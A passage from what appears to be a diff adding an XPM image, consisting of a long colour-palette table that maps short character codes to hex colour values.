#EBDABC", +"^j c #766E5C", +"/j c #313206", +"(j c #726E31", +"_j c #A39E46", +":j c #D3CB5D", +"k c #D6D649", +",k c #DADA4B", +"'k c #DCDC4C", +")k c #D5D64D", +"!k c #E6E34E", +"~k c #F9F251", +"{k c #B5BA37", +"]k c #847B54", +"^k c #F3DCC5", +"/k c #EFE0CB", +"(k c #BDB3AC", +"_k c #414111", +":k c #414203", +"l c #ECE43F", +",l c #8F8E41", +"'l c #9A9A42", +")l c #A9AA43", +"!l c #B4B444", +"~l c #E9E246", +"{l c #E9E347", +"]l c #CDCE47", +"^l c #D7D649", +"/l c #D5D34B", +"(l c #F1EA4C", +"_l c #EAE751", +":l c #A9AB32", +"m c #E7E238", +",m c #D8D339", +"'m c #C6C13A", +")m c #A6A33B", +"!m c #CFC63D", +"~m c #E5DF3F", +"{m c #A4A240", +"]m c #B4B141", +"^m c #E8E043", +"/m c #F1E844", +"(m c #CECA45", +"_m c #D2CF46", +":m c #D5D247", +"n c #E1993A", +",n c #E99A3B", +"'n c #FDD035", +")n c #F1F532", +"!n c #F1E734", +"~n c #F0E834", +"{n c #E8E136", +"]n c #D9D437", +"^n c #CAC538", +"/n c #A9A73A", +"(n c #A8A43A", +"_n c #FFFA3C", +":n c #F7F13D", +"o c #D39B43", +",o c #DC9F42", +"'o c #E09F41", +")o c #E29F40", +"!o c #E39F3D", +"~o c #E39D3C", +"{o c #E39B3B", +"]o c #E29A3C", +"^o c #E39C40", +"/o c #E29E41", +"(o c #EA9C40", +"_o c #CC6A23", +":o c #FCCE34", +"p c #B28348", +",p c #C3A546", +"'p c #FFFF45", +")p c #FFFF44", +"!p c #DAC944", +"~p c #A57A43", +"{p c #AB7842", +"]p c #C99440", +"^p c #D3983F", +"/p c #D99B3F", +"(p c #DF9E40", +"_p c #E2A041", +":p c #E4A244", +"

    Q c #B05320", +",Q c #A0511C", +"'Q c #A2511C", +")Q c #B25621", +"!Q c #422C15", +"~Q c #262100", +"{Q c #735000", +"]Q c #B18500", +"^Q c #D09D00", +"/Q c #D29F00", +"(Q c #CE9C00", +"_Q c #B97C00", +":Q c #E3C600", +"R c #9E4D1C", +",R c #B4541C", +"'R c #7F411F", +")R c #212607", +"!R c #513500", +"~R c #8F6500", +"{R c #C29100", +"]R c #D29E00", +"^R c #CA9400", +"/R c #BC8100", +"(R c #EFDC00", +"_R c #F2E100", +":R c #B67B00", +"S c #333400", +",S c #684000", +"'S c #AA7A00", +")S c #CB9700", +"!S c #C68F00", +"~S c #BD8100", +"{S c #F1DF00", +"]S c #7A4B09", +"^S c #8A492B", +"/S c #C17638", +"(S c #C07E40", +"_S c #C28042", +":S c #C38341", +"T c #BD7033", +",T c #BE7A3B", +"'T c #C07C3E", +")T c #BC783C", +"!T c #BB7134", +"~T c #A75428", +"{T c #4E3D0F", +"]T c #4E4F00", +"^T c #593300", +"/T c #854500", +"(T c #B67200", +"_T c #C07D00", +":T c #C07A00", +"U c #A45A00", +",U c #AA5B00", +"'U c #BA7500", +")U c #BF7900", +"!U c #C07800", +"~U c #C27900", +"{U c #C37A00", +"]U c #C47C00", +"^U c #C67C00", +"/U c #C77C00", +"(U c #CB7C00", +"_U c #D08000", +":U c #D88600", +"V c #F8FF00", +",V c #EEE000", +"'V c #B87D00", +")V c #A25000", +"!V c #AC5B00", +"~V c #BB7200", +"{V c #C17900", +"]V c #C27A00", +"^V c #C57D00", +"/V c #C97E00", +"(V c #D18300", +"_V c #D88800", +":V c #DB8A00", +"W c #D58600", +",W c #DA8A00", +"'W c #DD8B00", +")W c #E08A00", +"!W c #E18B00", +"~W c #E18C00", +"{W c #E08500", +"]W c #E08400", +"^W c #E08300", +"/W c #DE7B00", +"(W c #DD7800", +"_W c #E57B05", +":W c #5F2E1A", +"X c #DC7700", +",X c #E67A05", +"'X c #7D431D", +")X c #5D2D1A", +"!X c #B96422", +"~X c #D89510", +"{X c #B78500", +"]X c #F2E200", +"^X c #ECD900", +"/X c #AD7400", +"(X c #C39200", +"_X c #CB9D00", +":X c #CEA100", +"Y c #E77B05", +",Y c #E48026", +"'Y c #5B2C19", +")Y c #B26122", +"!Y c #C8800F", +"~Y c #D4B400", +"{Y c #BF8F00", +"]Y c #BB8500", +"^Y c #CA9A00", +"/Y c #CE9F00", +"(Y c #CFA100", +"_Y c #CA9B00", +":Y c #B77F00", +"Z c #471826", +",Z c #592B19", +"'Z c #AD5E21", +")Z c #C37C0E", +"!Z c #F1E400", +"~Z c #C89500", +"{Z c #CB9A00", +"]Z c #CE9E00", +"^Z c #B27700", +"/Z c #FDFA00", +"(Z c #DCC300", +"_Z c #BF9000", +":Z c #B37D00", +"` c #B87F00", +",` c #C38F00", +"'` c #C49100", +")` c #BD8700", +"!` c #BA7800", +"~` c #A27501", +"{` c #432511", +"]` c #82140F", +"^` c #A4360F", +"/` c #9B4115", +"(` c #A04817", +"_` c #A04816", +":` c #983A14", +"<` c #8F2B0F", +"[` c #A6260C", +"}` c #511F13", +"|` c #262304", +"1` c #523000", +"2` c #937500", +"3` c #E9DE00", +"4` c #FEFE00", +"5` c #F2E300", +"6` c #E3C800", +"7` c #D9B800", +"8` c #CFA000", +"9` c #D4AC00", +"0` c #F5EA00", +"a` c #FEFF00", +"b` c #C29000", +"c` c #BF7300", +"d` c #59360C", +"e` c #691312", +"f` c #A13411", +"g` c #9B4016", +"h` c #A04A16", +"i` c #A34715", +"j` c #A32F13", +"k` c #3F0615", +"l` c #374007", +"m` c #C5CE00", +"n` c #E6DE00", +"o` c #C48600", +"p` c #9A5A00", +"q` c #633714", +"r` c #AE511E", +"s` c #B46320", +"t` c #B86921", +"u` c #B76721", +"v` c #B15D1E", +"w` c #B54917", +"x` c #5F2812", +"y` c #2E2303", +"z` c #623B00", +"A` c #A48800", +"B` c #EADC00", +"C` c #EFDB00", +"D` c #D19800", +"E` c #B65D00", +"F` c #B86200", +"G` c #BC6F00", +"H` c #AA4F00", +"I` c #AF5F00", +"J` c #CC9B00", +"K` c #D1A900", +"L` c #AB5A00", +"M` c #9F3800", +"N` c #B65A00", +"O` c #CB7400", +"P` c #D87F00", +"Q` c #DD8100", +"R` c #E07E00", +"S` c #E07B00", +"T` c #DF7B00", +"U` c #E77C05", +"V` c #592B18", +"W` c #AA5821", +"X` c #CB830E", +"Y` c #C89600", +"Z` c #BB8100", +"`` c #BA8500", +" . c #F3E800", +". . c #AC7000", +"+ . c #B47800", +"@ . c #C89700", +"# . c #CD9F00", +"$ . c #D1A400", +"% . c #D3A600", +"& . c #D3A700", +"* . c #CC9D00", +"= . c #C18F00", +"- . c #CE9000", +"; . c #946F05", +"> . c #350D13", +", . c #5C0010", +"' . c #8B1C0D", +") . c #98240C", +"! . c #97200C", +"~ . c #901C0C", +"{ . c #8A190E", +"] . c #5D1414", +"^ . c #25140D", +"/ . c #4C3A00", +"( . c #8C8800", +"_ . c #D4D500", +": . c #EFDF00", +"< . c #DAB700", +"[ . c #BC8000", +"} . c #BE8000", +"| . c #C48800", +"1 . c #C88E00", +"2 . c #C58700", +"3 . c #BD7B00", +"4 . c #BB7900", +"5 . c #F5DA00", +"6 . c #A77C02", +"7 . c #3C0611", +"8 . c #901D0F", +"9 . c #9B3C13", +"0 . c #9E4316", +"a . c #A14B16", +"b . c #A64815", +"c . c #A73414", +"d . c #440A16", +"e . c #212308", +"f . c #AEB000", +"g . c #B09B01", +"h . c #6A2F17", +"i . c #BB581D", +"j . c #B6651E", +"k . c #B9691F", +"l . c #B6651F", +"m . c #AF5A1B", +"n . c #B14415", +"o . c #552212", +"p . c #373103", +"q . c #6B4600", +"r . c #C17800", +"s . c #ECD600", +"t . c #CC8C00", +"u . c #B96100", +"v . c #B25A00", +"w . c #A64500", +"x . c #A54A00", +"y . c #BE8100", +"z . c #F6EF00", +"A . c #FCFC00", +"B . c #C69200", +"C . c #A04400", +"D . c #A13A00", +"E . c #BB6200", +"F . c #C66F00", +"G . c #CF7400", +"H . c #E07D00", +"I . c #E07C00", +"J . c #DF7900", +"K . c #E87C05", +"L . c #592A18", +"M . c #AB5522", +"N . c #F2C90F", +"O . c #C68E00", +"P . c #C89300", +"Q . c #C38D00", +"R . c #B17200", +"S . c #EDDB00", +"T . c #F6EE00", +"U . c #B37700", +"V . c #B87C00", +"W . c #CC9A00", +"X . c #D4A400", +"Y . c #DBAC00", +"Z . c #DEAF00", +"` . c #E0B100", +" .. c #DEB000", +"... c #D7A900", +"+.. c #CD9B00", +"@.. c #C18D00", +"#.. c #C17600", +"$.. c #AB8D03", +"%.. c #8E8D0C", +"&.. c #5B260D", +"*.. c #4D1410", +"=.. c #4D1610", +"-.. c #51210F", +";.. c #4F270C", +">.. c #382709", +",.. c #726D00", +"'.. c #A9A900", +").. c #B3A300", +"!.. c #BA7C00", +"~.. c #BF7F00", +"{.. c #C98F00", +"].. c #D09B00", +"^.. c #D4A000", +"/.. c #D6A200", +"(.. c #D8A400", +"_.. c #D7A400", +":.. c #D49F00", +"<.. c #CF9700", +"[.. c #BA7400", +"}.. c #CEA000", +"|.. c #F5EF00", +"1.. c #8A7D08", +"2.. c #430011", +"3.. c #A32D0D", +"4.. c #9B3F13", +"5.. c #A14515", +"6.. c #A54F15", +"7.. c #AC5114", +"8.. c #B34715", +"9.. c #581818", +"0.. c #0F050B", +"a.. c #948400", +"b.. c #B6B802", +"c.. c #874C19", +"d.. c #C4651A", +"e.. c #B8661D", +"f.. c #BA681E", +"g.. c #B6631C", +"h.. c #AD5619", +"i.. c #A93D12", +"j.. c #4F2011", +"k.. c #3C3403", +"l.. c #714C00", +"m.. c #A56E00", +"n.. c #CB7F00", +"o.. c #C66B00", +"p.. c #CB8000", +"q.. c #E6C300", +"r.. c #F3E500", +"s.. c #CD8B00", +"t.. c #BA5D00", +"u.. c #BA5C00", +"v.. c #BF6C00", +"w.. c #BF6E00", +"x.. c #BD6B00", +"y.. c #B75F00", +"z.. c #A43D00", +"A.. c #A84E00", +"B.. c #CB9B00", +"C.. c #B67600", +"D.. c #983500", +"E.. c #AA4600", +"F.. c #C26900", +"G.. c #CC7100", +"H.. c #E17E00", +"I.. c #E17D00", +"J.. c #E07A00", +"K.. c #E07800", +"L.. c #E87B05", +"M.. c #5A2A19", +"N.. c #B86423", +"O.. c #F7C910", +"P.. c #CF9A00", +"Q.. c #B57500", +"R.. c #CEA400", +"S.. c #B47300", +"T.. c #D6A600", +"U.. c #DFB100", +"V.. c #E8B500", +"W.. c #E9B500", +"X.. c #DDB000", +"Y.. c #C28700", +"Z.. c #B98000", +"`.. c #F8E000", +" +. c #A67601", +".+. c #917404", +"++. c #846E05", +"@+. c #826702", +"#+. c #846000", +"$+. c #C0B400", +"%+. c #D9D800", +"&+. c #B69100", +"*+. c #B07100", +"=+. c #C08100", +"-+. c #CC9300", +";+. c #CF9800", +">+. c #D29B00", +",+. c #D9A600", +"'+. c #DEAD00", +")+. c #DDAA00", +"!+. c #D9A500", +"~+. c #D6A000", +"{+. c #D09500", +"]+. c #E3C500", +"^+. c #6B5B0E", +"/+. c #6A000D", +"(+. c #A03A0F", +"_+. c #9F4313", +":+. c #A44A14", +"<+. c #AD5915", +"[+. c #B45D14", +"}+. c #C55B16", +"|+. c #79351A", +"1+. c #1B0607", +"2+. c #241803", +"3+. c #9E5E1B", +"4+. c #D48022", +"5+. c #C07329", +"6+. c #BA6821", +"7+. c #B45E17", +"8+. c #AB5115", +"9+. c #A33510", +"0+. c #491E0F", +"a+. c #413602", +"b+. c #764F00", +"c+. c #AE7500", +"d+. c #D68F00", +"e+. c #DB9000", +"f+. c #C26700", +"g+. c #CA7D00", +"h+. c #E9C800", +"i+. c #F6EC00", +"j+. c #D59E00", +"k+. c #BB5F00", +"l+. c #BC5D00", +"m+. c #C36F00", +"n+. c #C16D00", +"o+. c #BF6A00", +"p+. c #B35300", +"q+. c #9E3500", +"r+. c #AB5B00", +"s+. c #DABE00", +"t+. c #D8BC00", +"u+. c #A65500", +"v+. c #9C3200", +"w+. c #BC5E00", +"x+. c #CA6E00", +"y+. c #C06825", +"z+. c #E49811", +"A+. c #D7A600", +"B+. c #D7A200", +"C+. c #C78D00", +"D+. c #B16F00", +"E+. c #F4E600", +"F+. c #B06E00", +"G+. c #C88F00", +"H+. c #DFAF00", +"I+. c #EAB600", +"J+. c #E3B300", +"K+. c #DCAE00", +"L+. c #F6EA00", +"M+. c #F5E800", +"N+. c #B57200", +"O+. c #CC8F00", +"P+. c #D79B00", +"Q+. c #D59900", +"R+. c #DBBD00", +"S+. c #C28C00", +"T+. c #B77100", +"U+. c #C78B00", +"V+. c #CE9600", +"W+. c #D09A00", +"X+. c #D39E00", +"Y+. c #D6A300", +"Z+. c #DBA800", +"`+. c #DFAD00", +" @. c #E2B200", +".@. c #E5B500", +"+@. c #E6B500", +"@@. c #E3B000", +"#@. c #DFAA00", +"$@. c #DAA100", +"%@. c #D59A00", +"&@. c #C98600", +"*@. c #B66600", +"=@. c #F0C500", +"-@. c #D8F105", +";@. c #471010", +">@. c #951709", +",@. c #9C3F10", +"'@. c #A44712", +")@. c #AB5414", +"!@. c #B66615", +"~@. c #BB6B14", +"{@. c #D26E16", +"]@. c #8C4819", +"^@. c #291A16", +"/@. c #A95F2B", +"(@. c #D07D3B", +"_@. c #CA8138", +":@. c #C37727", +"<@. c #B56215", +"[@. c #A84B12", +"}@. c #9A2C0F", +"|@. c #421D0E", +"1@. c #443701", +"2@. c #785100", +"3@. c #B47900", +"4@. c #DD9400", +"5@. c #DF9500", +"6@. c #D98F00", +"7@. c #D78A00", +"8@. c #CF7900", +"9@. c #C56700", +"0@. c #E3B900", +"a@. c #F4E800", +"b@. c #F1E100", +"c@. c #CE8900", +"d@. c #BA5300", +"e@. c #C36700", +"f@. c #BD6600", +"g@. c #A94400", +"h@. c #973200", +"i@. c #F8F700", +"j@. c #B97E00", +"k@. c #992E00", +"l@. c #BA5900", +"m@. c #C86C00", +"n@. c #D37300", +"o@. c #E17C00", +"p@. c #DF7800", +"q@. c #E97C05", +"r@. c #5E2D1A", +"s@. c #C56A26", +"t@. c #EFA511", +"u@. c #E0B400", +"v@. c #BC7B00", +"w@. c #CC9F00", +"x@. c #D4B000", +"y@. c #B56F00", +"z@. c #CD9600", +"A@. c #E4B300", +"B@. c #EAB500", +"C@. c #E9B600", +"D@. c #DFB000", +"E@. c #D9A700", +"F@. c #C48400", +"G@. c #DEB900", +"H@. c #C68C00", +"I@. c #C78800", +"J@. c #CF9900", +"K@. c #C88800", +"L@. c #D9B200", +"M@. c #B26500", +"N@. c #C58800", +"O@. c #CD9000", +"P@. c #CE8F00", +"Q@. c #D19500", +"R@. c #E1AF00", +"S@. c #E8B600", +"T@. c #E6B200", +"U@. c #E3AD00", +"V@. c #DEA500", +"W@. c #D79C00", +"X@. c #CE8E00", +"Y@. c #BB6A00", +"Z@. c #F6CE00", +"`@. c #858E0C", +" #. c #53000D", +".#. c #A53009", +"+#. c #A0440F", +"@#. c #A84E11", +"##. c #B56213", +"$#. c #C2741B", +"%#. c #C27826", +"&#. c #CD7630", +"*#. c #BF6C38", +"=#. c #C07445", +"-#. c #C6774A", +";#. c #C57642", +">#. c #C67A2A", +",#. c #BC6C12", +"'#. c #AB4F0E", +")#. c #92290D", +"!#. c #3D160C", +"~#. c #463200", +"{#. c #794F00", +"]#. c #B77A00", +"^#. c #DD9600", +"/#. c #E19700", +"(#. c #DF9200", +"_#. c #DC8F00", +":#. c #DA8C00", +"<#. c #D68700", +"[#. c #C46300", +"}#. c #C66E00", +"|#. c #E3B800", +"1#. c #FEFD00", +"2#. c #C15F00", +"3#. c #C05C00", +"4#. c #C97200", +"5#. c #C16A00", +"6#. c #B75800", +"7#. c #9A2F00", +"8#. c #A65D00", +"9#. c #BE8900", +"0#. c #932400", +"a#. c #B85200", +"b#. c #C96B00", +"c#. c #E17B00", +"d#. c #E17A00", +"e#. c #E07900", +"f#. c #E97D05", +"g#. c #602E1B", +"h#. c #CA6C27", +"i#. c #F4A911", +"j#. c #E4B800", +"k#. c #DBA700", +"l#. c #B77200", +"m#. c #DCBA00", +"n#. c #C28F00", +"o#. c #BC7900", +"p#. c #EAB700", +"q#. c #EBB700", +"r#. c #E2B400", +"s#. c #D09700", +"t#. c #FCF800", +"u#. c #DDB900", +"v#. c #C27F00", +"w#. c #D19900", +"x#. c #BE7900", +"y#. c #E4C800", +"z#. c #FAF300", +"A#. c #B46E00", +"B#. c #BC7800", +"C#. c #C07900", +"D#. c #C78600", +"E#. c #D19C00", +"F#. c #D6A900", +"G#. c #C78200", +"H#. c #D09100", +"I#. c #DAA300", +"J#. c #DFA900", +"K#. c #E4B100", +"L#. c #E5B100", +"M#. c #E0A900", +"N#. c #D99F00", +"O#. c #CF8F00", +"P#. c #CE7800", +"Q#. c #D5C102", +"R#. c #57420F", +"S#. c #7B0007", +"T#. c #A03A0B", +"U#. c #A6490D", +"V#. c #B15A0F", +"W#. c #C27425", +"X#. c #CB8139", +"Y#. c #CD8545", +"Z#. c #CE7F52", +"`#. c #CA7D5A", +" $. c #CA7F56", +".$. c #C67648", +"+$. c #BE6D2B", +"@$. c #B9660F", +"#$. c #AC4D0A", +"$$. c #87210C", +"%$. c #432A09", +"&$. c #4A3000", +"*$. c #723F00", +"=$. c #DA8D00", +"-$. c #E09300", +";$. c #E09400", +">$. c #E19400", +",$. c #DF9300", +"'$. c #DD9000", +")$. c #DA8B00", +"!$. c #D78600", +"~$. c #D07700", +"{$. c #C35C00", +"]$. c #D18500", +"^$. c #F3DF00", +"/$. c #D08800", +"($. c #BE5400", +"_$. c #C06300", +":$. c #A03300", +"<$. c #9A4100", +"[$. c #C59600", +"}$. c #972B00", +"|$. c #B54D00", +"1$. c #CA6C00", +"2$. c #D47300", +"3$. c #E17900", +"4$. c #EA7D05", +"5$. c #F8AB12", +"6$. c #DDA700", +"7$. c #B97200", +"8$. c #BF8800", +"9$. c #BE7B00", +"0$. c #D19A00", +"a$. c #DDAB00", +"b$. c #EBB800", +"c$. c #E9B700", +"d$. c #C48100", +"e$. c #E3C100", +"f$. c #C38400", +"g$. c #D19700", +"h$. c #D5A000", +"i$. c #CE9300", +"j$. c #E8CF00", +"k$. c #B16200", +"l$. c #BA7300", +"m$. c #DCB800", +"n$. c #F9F600", +"o$. c #EAD200", +"p$. c #C98100", +"q$. c #E0AA00", +"r$. c #EBB900", +"s$. c #EABA00", +"t$. c #E1A900", +"u$. c #DA9D00", +"v$. c #CA8400", +"w$. c #E89600", +"x$. c #A2A108", +"y$. c #45060E", +"z$. c #991805", +"A$. c #9F400A", +"B$. c #AA5009", +"C$. c #BC6C1E", +"D$. c #CC803C", +"E$. c #D48C4F", +"F$. c #D5905D", +"G$. c #CC8163", +"H$. c #CD7E5F", +"I$. c #CA7A4D", +"J$. c #BE692A", +"K$. c #B1590B", +"L$. c #A84407", +"M$. c #7A110A", +"N$. c #453A08", +"O$. c #6A7000", +"P$. c #764700", +"Q$. c #A54F00", +"R$. c #E29600", +"S$. c #E29400", +"T$. c #E19000", +"U$. c #DE8B00", +"V$. c #DA8600", +"W$. c #CA6700", +"X$. c #C25B00", +"Y$. c #E2B500", +"Z$. c #DEAA00", +"`$. c #BE5200", +" %. c #CB6D00", +".%. c #CD7200", +"+%. c #C96C00", +"@%. c #AE4400", +"#%. c #8E2500", +"$%. c #C39700", +"%%. c #D2AF00", +"&%. c #9D3200", +"*%. c #B95200", +"=%. c #CC6B00", +"-%. c #D67100", +";%. c #DD7700", +">%. c #F7AB12", +",%. c #DCA500", +"'%. c #B86F00", +")%. c #DBB500", +"!%. c #C08700", +"~%. c #DAA400", +"{%. c #E9B800", +"]%. c #DCA800", +"^%. c #D39900", +"/%. c #C48300", +"(%. c #E5C600", +"_%. c #C57F00", +":%. c #D8A100", +"<%. c #D69F00", +"[%. c #CA8800", +"}%. c #C78E00", +"|%. c #923700", +"1%. c #F9F400", +"2%. c #F9F500", +"3%. c #E1BC00", +"4%. c #D09600", +"5%. c #D09400", +"6%. c #DFB900", +"7%. c #F8F200", +"8%. c #CB8C00", +"9%. c #CB8500", +"0%. c #DBA300", +"a%. c #E2AC00", +"b%. c #EAB800", +"c%. c #EAB900", +"d%. c #E9B400", +"e%. c #E6AE00", +"f%. c #E1A400", +"g%. c #D89700", +"h%. c #CB7800", +"i%. c #EAB300", +"j%. c #6D6B0E", +"k%. c #570008", +"l%. c #A42C04", +"m%. c #A14506", +"n%. c #B25B0E", +"o%. c #C57830", +"p%. c #CD844D", +"q%. c #D9945E", +"r%. c #D69065", +"s%. c #CC7D5E", +"t%. c #C8754B", +"u%. c #BD6824", +"v%. c #AC5006", +"w%. c #A43905", +"x%. c #761609", +"y%. c #2C0B08", +"z%. c #5F5200", +"A%. c #A4A700", +"B%. c #BA5500", +"C%. c #CB7300", +"D%. c #D68800", +"E%. c #DC8D00", +"F%. c #E19200", +"G%. c #E49400", +"H%. c #E49300", +"I%. c #E39100", +"J%. c #E18E00", +"K%. c #DD8800", +"L%. c #D27900", +"M%. c #C25800", +"N%. c #D38900", +"O%. c #E6BD00", +"P%. c #C05200", +"Q%. c #CF7300", +"R%. c #CB6E00", +"S%. c #C76900", +"T%. c #B74F00", +"U%. c #912300", +"V%. c #CEA300", +"W%. c #9F2C00", +"X%. c #CE6A00", +"Y%. c #481927", +"Z%. c #5F2E1B", +"`%. c #C96C27", +" &. c #DCA400", +".&. c #D29500", +"+&. c #BA6D00", +"@&. c #E3AF00", +"#&. c #E0AB00", +"$&. c #D9A100", +"%&. c #D8AA00", +"&&. c #FDFB00", +"*&. c #CE9400", +"=&. c #CE8C00", +"-&. c #C77F00", +";&. c #B48400", +">&. c #904700", +",&. c #BF7600", +"'&. c #CF8C00", +")&. c #C07000", +"!&. c #C48000", +"~&. c #FCF900", +"{&. c #C78100", +"]&. c #DEA400", +"^&. c #EBB500", +"/&. c #EAB200", +"(&. c #E5AA00", +"_&. c #DE9F00", +":&. c #D38E00", +"<&. c #DBCD04", +"[&. c #49360F", +"}&. c #6F0003", +"|&. c #A43604", +"1&. c #A74A02", +"2&. c #BD6A15", +"3&. c #C5763E", +"4&. c #D08555", +"5&. c #D7905E", +"6&. c #D18757", +"7&. c #C46F41", +"8&. c #BA6117", +"9&. c #AA4B02", +"0&. c #9F2703", +"a&. c #6B1509", +"b&. c #382F07", +"c&. c #400800", +"d&. c #8D6F00", +"e&. c #F9FF00", +"f&. c #E1B900", +"g&. c #BB5A00", +"h&. c #C56400", +"i&. c #E59400", +"j&. c #E69500", +"k&. c #E39000", +"l&. c #D57E00", +"m&. c #C65B00", +"n&. c #CC7400", +"o&. c #C25300", +"p&. c #CE6D00", +"q&. c #D17400", +"r&. c #CE6F00", +"s&. c #C96900", +"t&. c #BA5100", +"u&. c #932600", +"v&. c #CCA600", +"w&. c #B36800", +"x&. c #A62F00", +"y&. c #C76500", +"z&. c #D26D00", +"A&. c #C46A26", +"B&. c #EEA211", +"C&. c #E2B100", +"D&. c #DCA300", +"E&. c #D39700", +"F&. c #C58D00", +"G&. c #EBD800", +"H&. c #C98800", +"I&. c #D29600", +"J&. c #DBA200", +"K&. c #D69B00", +"L&. c #C47B00", +"M&. c #EDD500", +"N&. c #D39400", +"O&. c #DFA800", +"P&. c #C77E00", +"Q&. c #CC9500", +"R&. c #9C6800", +"S&. c #FBF400", +"T&. c #AB5600", +"U&. c #C47600", +"V&. c #D49700", +"W&. c #D99E00", +"X&. c #DBA100", +"Y&. c #D89D00", +"Z&. c #D49500", +"`&. c #C57700", +" *. c #C57200", +".*. c #DA9B00", +"+*. c #E1A500", +"@*. c #E7AE00", +"#*. c #ECB600", +"$*. c #E9AF00", +"%*. c #E3A600", +"&*. c #DB9900", +"**. c #C77700", +"=*. c #EFA700", +"-*. c #CAE008", +";*. c #3A0C0E", +">*. c #850401", +",*. c #A23801", +"'*. c #B05600", +")*. c #BD681C", +"!*. c #C57540", +"~*. c #CC7F4C", +"{*. c #CB7E47", +"]*. c #C4722D", +"^*. c #B35507", +"/*. c #A44001", +"(*. c #9C1900", +"_*. c #4C070B", +":*. c #4B6407", +"<*. c #654900", +"[*. c #600F00", +"}*. c #E2D200", +"|*. c #ECD700", +"1*. c #C16700", +"2*. c #D88400", +"3*. c #E39200", +"4*. c #E69600", +"5*. c #E69400", +"6*. c #E49000", +"7*. c #D88000", +"8*. c #C95E00", +"9*. c #CA6D00", +"0*. c #C25000", +"a*. c #D17000", +"b*. c #D37400", +"c*. c #D07000", +"d*. c #CA6A00", +"e*. c #B84E00", +"f*. c #952500", +"g*. c #F0E400", +"h*. c #A13D00", +"i*. c #B44400", +"j*. c #CB6700", +"k*. c #D57000", +"l*. c #EA7C05", +"m*. c #5C2C19", +"n*. c #BD6924", +"o*. c #E29210", +"p*. c #D79A00", +"q*. c #DAA000", +"r*. c #CD8D00", +"s*. c #B66700", +"t*. c #A24B00", +"u*. c #AE5700", +"v*. c #BF7200", +"w*. c #C98000", +"x*. c #D69600", +"y*. c #C98700", +"z*. c #E8CC00", +"A*. c #E2AE00", +"B*. c #DEA700", +"C*. c #CD8900", +"D*. c #BF7A00", +"E*. c #FEF900", +"F*. c #E8E000", +"G*. c #A34A00", +"H*. c #CE8800", +"I*. c #D79900", +"J*. c #DFA600", +"K*. c #E1A800", +"L*. c #DB9E00", +"M*. c #D59500", +"N*. c #C36D00", +"O*. c #D19300", +"P*. c #D08200", +"Q*. c #E4A900", +"R*. c #E9B200", +"S*. c #ECB700", +"T*. c #EAB400", +"U*. c #E6AC00", +"V*. c #DF9F00", +"W*. c #D79000", +"X*. c #BF5F00", +"Y*. c #FFE800", +"Z*. c #B7CC0A", +"`*. c #33000C", +" =. c #901200", +".=. c #A03A00", +"+=. c #B15800", +"@=. c #B86214", +"#=. c #C06D25", +"$=. c #BB6321", +"%=. c #BB660B", +"&=. c #AC4C00", +"*=. c #982E01", +"==. c #8B0800", +"-=. c #3A070C", +";=. c #433D03", +">=. c #8D9500", +",=. c #844200", +"'=. c #E0C600", +")=. c #C87400", +"!=. c #C45B00", +"~=. c #D98600", +"{=. c #DF8D00", +"]=. c #E49200", +"^=. c #E79300", +"/=. c #E79200", +"(=. c #E59000", +"_=. c #E28A00", +":=. c #D87E00", +"<=. c #CA5C00", +"[=. c #C44F00", +"}=. c #D27100", +"|=. c #CC6900", +"1=. c #B64600", +"2=. c #9B2F00", +"3=. c #E2CB00", +"4=. c #DDBE00", +"5=. c #9C2600", +"6=. c #CE6900", +"7=. c #D87100", +"8=. c #DF7500", +"9=. c #E58026", +"0=. c #5D2D19", +"a=. c #582919", +"b=. c #B26123", +"c=. c #F5C90F", +"d=. c #E2B800", +"e=. c #D19100", +"f=. c #CD8C00", +"g=. c #B66C00", +"h=. c #F2E600", +"i=. c #C78A00", +"j=. c #DCB500", +"k=. c #D39300", +"l=. c #D08C00", +"m=. c #CB8400", +"n=. c #E1AB00", +"o=. c #D59600", +"p=. c #B65F00", +"q=. c #B57F00", +"r=. c #AB5000", +"s=. c #D08900", +"t=. c #E5AD00", +"u=. c #E8B300", +"v=. c #E3A900", +"w=. c #DC9C00", +"x=. c #D48B00", +"y=. c #F7EB00", +"z=. c #DB9800", +"A=. c #E2A500", +"B=. c #E8B000", +"C=. c #ECB800", +"D=. c #ECB500", +"E=. c #E9AE00", +"F=. c #E3A200", +"G=. c #D18800", +"H=. c #827B0C", +"I=. c #360009", +"J=. c #961200", +"K=. c #A13E00", +"L=. c #AA4B00", +"M=. c #B15600", +"N=. c #B05200", +"O=. c #A84500", +"P=. c #A03E00", +"Q=. c #941900", +"R=. c #670006", +"S=. c #34220A", +"T=. c #4E1E00", +"U=. c #8A7700", +"V=. c #D2C900", +"W=. c #912600", +"X=. c #CDA000", +"Y=. c #C76C00", +"Z=. c #CB6500", +"`=. c #DB8800", +" -. c #E18D00", +".-. c #E89400", +"+-. c #E79000", +"@-. c #E58D00", +"#-. c #E28900", +"$-. c #D97D00", +"%-. c #C95600", +"&-. c #D68900", +"*-. c #C95700", +"=-. c #D67600", +"--. c #D67400", +";-. c #D36E00", +">-. c #B23D00", +",-. c #9E3A00", +"'-. c #F3EA00", +")-. c #C89200", +"!-. c #A42D00", +"~-. c #C65E00", +"{-. c #D26A00", +"]-. c #DC7200", +"^-. c #E97B05", +"/-. c #451725", +"(-. c #572918", +"_-. c #A24D21", +":-. c #FEE50E", +"<-. c #F9F000", +"[-. c #C98300", +"}-. c #C67F00", +"|-. c #B55F00", +"1-. c #D8BF00", +"2-. c #DFB800", +"3-. c #CC8400", +"4-. c #D49400", +"5-. c #CC8200", +"6-. c #DAA900", +"7-. c #FAF600", +"8-. c #DCA000", +"9-. c #E3AC00", +"0-. c #E8B400", +"a-. c #E4AE00", +"b-. c #DA9C00", +"c-. c #C26D00", +"d-. c #C58400", +"e-. c #DAB600", +"f-. c #B04E00", +"g-. c #D08300", +"h-. c #DEA100", +"i-. c #E7B000", +"j-. c #EDB900", +"k-. c #E8B100", +"l-. c #E0A300", +"m-. c #D89500", +"n-. c #D39200", +"o-. c #D58900", +"p-. c #E0A200", +"q-. c #E7AD00", +"r-. c #ECB300", +"s-. c #EBB000", +"t-. c #E6A600", +"u-. c #DF9900", +"v-. c #D78900", +"w-. c #C36900", +"x-. c #FFE900", +"y-. c #50250E", +"z-. c #470007", +"A-. c #9A1600", +"B-. c #993400", +"C-. c #9F3900", +"D-. c #A23F00", +"E-. c #982D00", +"F-. c #8D2000", +"G-. c #8E0200", +"H-. c #43030B", +"I-. c #363206", +"J-. c #643500", +"K-. c #7F3100", +"L-. c #E8DC00", +"M-. c #D9AC00", +"N-. c #952700", +"O-. c #EBDE00", +"P-. c #B66400", +"Q-. c #FDFD00", +"R-. c #C76600", +"S-. c #DE8800", +"T-. c 